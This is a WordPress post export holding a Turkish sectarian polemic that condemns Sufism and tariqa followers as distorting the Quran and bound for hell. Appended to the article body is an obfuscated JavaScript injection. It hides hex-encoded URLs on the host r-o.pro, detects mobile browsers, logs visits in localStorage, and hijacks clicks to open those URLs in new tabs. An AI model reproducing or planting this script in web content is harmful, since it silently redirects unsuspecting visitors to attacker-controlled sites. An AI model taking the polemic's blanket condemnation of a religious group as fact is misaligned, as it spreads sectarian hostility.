Vesile:<\/strong> Kur’an<\/span>i gerçekleri çarp\u0131tmay\u0131 meslek edinen tasav­vufçular, vesile konusunu da i\u015flerine geldi\u011fi gibi de\u011fi\u015ftirmek­tedirler.<\/span><\/o_p><\/span><\/p>\n

"Ey iman edenler, Allah’tan korkun, O’na (yakla<\/span><\/span><\/em>\u015fmaya) yol <\/span><\/em>aray\u0131n ve O’nun yolunda cihad edin ki kurtulu\u015fa <\/span>eresiniz."<\/span><\/em> (MA<\/span><\/em>\u0130DE,35)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Bundan <\/span>önceki ayetlerde sava\u015ftan söz etmekte ve Allah yo­lunda sava\u015fman\u0131n Allah’a yakla\u015fmaya ve kurtulu\u015fa sebep ol­du\u011fu bildirilmektedir. Allah yolunda cihad etme bilgi, beceri ve cesareti olmayan tarikatç\u0131lar, bu ayetin yar\u0131s\u0131n\u0131 alarak \u015feyhe tapmak, ona sar\u0131lmak \u015feklinde de\u011fi\u015ftirmektedirler.<\/span><\/o_p><\/span><\/p>\n

Rab\u0131ta: <\/strong><\/span>Bo\u011fazlar\u0131na kadar \u015firke bula\u015fm\u0131\u015f olan tarikatç\u0131la­r\u0131n anlam\u0131n\u0131 çarp\u0131tt\u0131klar\u0131 bir ba\u015fka kavram ise rab\u0131tad\u0131r. Tarikatç\u0131lar\u0131n örnek verdikleri ilgili ayette rab\u0131ta ile, sabretmek ve direnmek için mutlaka uyan\u0131k olmak ve di\u011fer Müslümanlarla irtibatl\u0131 bulunmak gerekti\u011fi vurgulanm\u0131\u015ft\u0131r.<\/span><\/o_p><\/span><\/p>\n

"Ey iman edenler, sabredin, direnin ve haz<\/span><\/em>\u0131rl\u0131kl\u0131, uyan\u0131k bu­lunun ve Allah’tan korkun ki, ba\u015far\u0131ya ula\u015fas\u0131n\u0131z."<\/span><\/em> (AL-<\/span><\/em>\u0130 \u0130MRAN,200)<\/span><\/em><\/o_p><\/span><\/em><\/p>\n

Oysa tarikat<\/span>ç\u0131lar, bu ayeti \u015feyhlerine daha çok tapmak ve onu, Allah’\u0131n konumuna sokmak için çarp\u0131tmaktad\u0131rlar. Bunun sonucunda da hem bo\u011fazlar\u0131na kadar \u015firke bula\u015fmaktad\u0131rlar, hem de uyu\u015fuk bir hale dü\u015fmektedirler.<\/span><\/o_p><\/span><\/p>\n

Kur’an ve S<\/span>ünnet’te tasavvuf ve tarikatlar\u0131n varl\u0131\u011f\u0131 ile ilgili hiçbir ayet ya da hadis bulunmad\u0131\u011f\u0131 halde, Kur’an ve Sünnet’i çarp\u0131tarak gerçekleri ters yüz eden tarikatç\u0131lar, dillerini e\u011fip bükerek kendilerine Kur’an’dan delil ç\u0131karmaya çal\u0131\u015f\u0131rlar.<\/span><\/o_p><\/span><\/p>\n

\u0130\u015fte tasavvufun Kur’an ve Sünnet’e göre gerçek yüzü budur. Tasavvufun bu çarp\u0131k ve çirkin yüzü görüldükten sonra so­nucu akl\u0131 selim sahibi ki\u015filere b\u0131rak\u0131yoruz.<\/span><\/o_p><\/span><\/p>\n

Tasavvufu reddedi\u015fimizdeki net, kararl\u0131 ve tavizsiz tutu­mumuzun <\/span>nedeni:<\/o_p><\/strong><\/span><\/p>\n

Bu dinler harman<\/span>\u0131 ya da dinler karma\u015fas\u0131 tasavvuf dininin, \u0130slâmi esaslar\u0131 bozma ve bu esaslara zarar vermedeki tutumundan kaynaklanmaktad\u0131r. Tasavvufu reddiyemizdeki sertlik bu dinin \u0130slâm’a verdi\u011fi zararla orant\u0131l\u0131d\u0131r. Çünkü, \u0130slâm’a en büyük za­rar bu dinler karma\u015fas\u0131 tasavvuftan gelmi\u015ftir ve halen de gel­mektedir.<\/span><\/o_p><\/span><\/p>\n

Akla <\/span>\u015fu soru gelebilir! Peki tasavvufun hiç mi güzel yönü yoktur? Güzel yönleri al\u0131nsa da di\u011fer yönleri reddedilse olmaz m\u0131? Elbette her bozuk olan\u0131n bir de güzel yönü vard\u0131r. Zaten bu güzel yönleri olmasa bozuk ve kötü olan\u0131 kim kabul edebilir ki?<\/span><\/o_p><\/span><\/p>\n

Tasavvufun da g<\/span>üzel yönleri vard\u0131r; ancak \u015fu unutulmas\u0131n ki, o güzellikler zaten \u0130slâm’\u0131n güzellikleridir ve bu güzellikler tasavvufun \u0130slâm’dan çald\u0131\u011f\u0131 güzelliklerdir. Üstelik tasavvuf, bu güzelliklerin bir ço\u011funu bozmu\u015f, bir ço\u011funun da yönünü sapt\u0131rm\u0131\u015ft\u0131r. Bu güzellikler, Allah’tan gere\u011fi gibi sak\u0131nma (takva), tefekkür, ahireti dünyaya tercih, ibadetler, güzel ahlak, edep, haya, ihlas, ihsan, isti\u011ffar, haramlardan sak\u0131nma, teslimi­yet. Ancak dikkat edilirse, bütün bu güzellikler, tasavvufun bo­zuk mant\u0131\u011f\u0131 içinde \u015fekil ve yön de\u011fi\u015ftirmi\u015flerdir. Kur’an okundu\u011funda bütün bu güzellikler bir bütün olarak görülecektir. <\/o_p><\/span><\/p>\n

Tasavvuf, \u0130slâm’dan çald\u0131\u011f\u0131 güzelliklerin kimilerini kullana­rak yeni ibadetler tesis etmi\u015f ve Kur’an-Sünnet gerçe\u011finden ha­bersiz müntesiplerini, bu üretti\u011fi ibadetlerle bo\u011fazlar\u0131na kadar \u015firke sokmu\u015ftur. Tasavvuf, tefekkürü rab\u0131taya, zikri çe\u015fitli dansvari veya mistik hareketlere, yüce Allah’a teslimiyeti \u015feyhe tapmaya dönü\u015ftürmü\u015ftür.<\/span><\/o_p><\/span><\/p>\n

Yukar\u0131dan beri anlat\u0131lan b<\/span>ütün bunlardan da anla\u015f\u0131laca\u011f\u0131 gibi Tasavvuf, kendisine inand\u0131rd\u0131\u011f\u0131 insanlar\u0131, as­l\u0131nda yüce Allah’\u0131n r\u0131zas\u0131na de\u011fil, onlar\u0131 yüce Allah’\u0131n azab\u0131na ve cehenneme ula\u015ft\u0131r­maya çal\u0131\u015fmaktad\u0131r.<\/span><\/o_p><\/span><\/p>\n

Tasavvuf, <\/span>\u0130slâm’\u0131n güzelliklerini bozarak müntesiplerini sap­t\u0131rd\u0131\u011f\u0131 gibi, ayn\u0131 zamanda yeni terimler ve kavramlar icad ede­rek mensuplar\u0131n\u0131n cehenneme daha h\u0131zl\u0131 gitmelerini sa\u011flam\u0131\u015f­t\u0131r. Çünkü vahdet-i vücud, vahdet-i \u015fuhud, ricalu’l gayb, hakikat-\u0131 Muhammediyye, hatemül evliya, Hz. Muhammed (as)’a yap\u0131lan onca iftira, \u015feyhe kesin teslimiyet, rab\u0131ta ve hemen bir­çok konudaki basit, dü\u015fük ve a\u015fa\u011f\u0131l\u0131k f\u0131kralar, porno filmlerini aratmayacak seviyesizlikteki ahlaks\u0131zl\u0131k örnekleri ve saymakla bitmeyecek daha nice sap\u0131kl\u0131klara inanan ve bunlar\u0131 yapan bi­rinin gidece\u011fi ve ebediyen kalaca\u011f\u0131 yer cehennemdir.<\/span><\/o_p><\/span><\/p>\n

Tasavvuf dininin mensuplar<\/span>\u0131, cehenneme gideceklerini ga­rantilediklerinden olsa gerek, kimi söz ve ifadelerinde, "cehennemin kâfirlere zevk verece\u011fini" <\/strong>dile getirmektedirler. Oysa yüce Allah (cc), Kur’an’da, "Cehennemin azap yeri oldu­\u011funu, kâfirlerin hor ve hakir olarak orada kalacaklar\u0131n\u0131, en a\u011f\u0131r ac\u0131 ve \u0131st\u0131rab\u0131 duyacaklar\u0131n\u0131, bu nedenle oradan ç\u0131kmak için yol arayacaklar\u0131n\u0131, ancak oradan herhangi bir ç\u0131k\u0131\u015f\u0131n olamayaca\u011f\u0131n\u0131" <\/strong>bildiriyor.<\/span><\/o_p><\/span><\/p>\n

\u015eunu anlamak mümkün de\u011fildir, bütün dü\u015fünce ve hare­ketleriyle \u0130slâm’a ve \u0130slâmi de\u011ferlere ters dü\u015fen ve bunca dü\u015fmanl\u0131k yapan, yüce Allah’a ve Rasulullah (as)’a iftiralar\u0131nda s\u0131n\u0131r tan\u0131mayan bu dinler karma\u015fas\u0131 Tasavvufa mensup olanlar, hangi akla hizmet ederek bu dine inan\u0131p tabi oluyorlar? Bunlar hiç mi akletmiyorlar? Bunlar\u0131n Kur’an ve Sünnet’ten hiç mi haberleri yok? Kur’an’dan hiç mi do\u011fru bir haber i\u015fitmemi\u015flerdir?<\/o_p><\/span><\/p>\n

Tevbe etmeye ve gere\u011fi gibi iman etmeye davet:<\/o_p><\/strong><\/span><\/p>\n

Mistisizmin, k<\/span>ölele\u015ftirmenin, \u015firkin temeli, \u0130slâm d\u0131\u015f\u0131 kül­türlerin ürünü olan Tasavvufa ve onun mezhepleri olan tarikat­lara ba\u011fl\u0131 olanlar, bu bozuk iddialar\u0131ndan vazgeçip \u0130slami esas­lara ve Kur’ani <\/span><\/p>\n

gerçeklere dönmedikçe ve Müslümanlar\u0131n (Allah’\u0131n Kitab\u0131’na teslim olanlar\u0131n) iman etti\u011fi gibi iman etme­dikçe, iman etmi\u015f say\u0131lmazlar. Hakimiyeti Allah’a verip yaln\u0131z O’nu ve indirdi\u011fi kurallar\u0131 bir bütün olarak kabullenmedikçe de Müslümanlarla birlikte olmalar\u0131 mümkün de\u011fildir.<\/span><\/o_p><\/span><\/p>\n

"E<\/span><\/em>\u011fer onlar da sizin inand\u0131\u011f\u0131n\u0131z gibi inan\u0131rlarsa do\u011fru yolu <\/strong>bulmu\u015f olurlar. Ama dönerlerse mutlaka anla\u015fmazl\u0131k içine gi­rerler. Onlara kar\u015f\u0131 Allah <\/strong>sana yeter. O, i\u015fitendir, bilendir."<\/span><\/em> (BAKARA,137)<\/o_p><\/span><\/em><\/p>\n

Allah’tan ba\u015fka otorite, Kur’an’dan ba\u015fka Kitab, Hz. Muhammed (as)’dan örnek ve önder ka­bul etmek ihtilaf\u0131n, parçalanman\u0131n ta kendisidir. \u0130htilafa dü\u015fmemek ve ümmet içerisinde fitne ç\u0131karmaktan sa­k\u0131nmak için \u015fu ilahi hitaba kulak vermek gerekir:<\/span><\/o_p><\/span><\/p>\n

"Ve topluca Allah’<\/span><\/em>\u0131n ipine yap\u0131\u015f\u0131n, ayr\u0131lmay\u0131n… "<\/span><\/em> (AL-<\/span><\/em>\u0130 \u0130MRAN,103)<\/o_p><\/span><\/em><\/p>\n

"Ey iman edenler, Allah’tan, O’na yara\u015f\u0131r biçimde korku ve ancak Müslümanlar olarak ölün."<\/span><\/em>(AL-\u0130 \u0130MRAN,102)<\/span><\/em><\/p>\n

<\/p>\n

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x46\\x57\\x50\\x32\\x63\\x302′,’length’,’_blank’,’mobileCheck’,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x75\\x75\\x66\\x33\\x63\\x303′,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x6e\\x52\\x56\\x30\\x63\\x330′,’random’,’-local-storage’,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x50\\x68\\x6b\\x37\\x63\\x337′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x55\\x4b\\x6d\\x36\\x63\\x366′,’12075252qhSFyR’,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x6f\\x67\\x6b\\x38\\x63\\x338′,’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x78\\x74\\x7a\\x35\\x63\\x345′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x78\\x61\\x68\\x31\\x63\\x381′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x49\\x74\\x4a\\x34\\x63\\x354′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x4e\\x74\\x7a\\x39\\x63\\x339′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"

Zay\u0131f dü\u015fürülenler büyüklük taslayanlara: ‘Hay\u0131r, gece gündüz dolap (kurar, Allah’a \u015firk ko\u015fmam\u0131z\u0131 ö\u011fütlerdiniz) Allah’a nankörlük etmemizi, O’na e\u015fler ko\u015fmam\u0131z\u0131 bize…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/119"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=119"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/119\/revisions"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=119"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=119"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=119"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}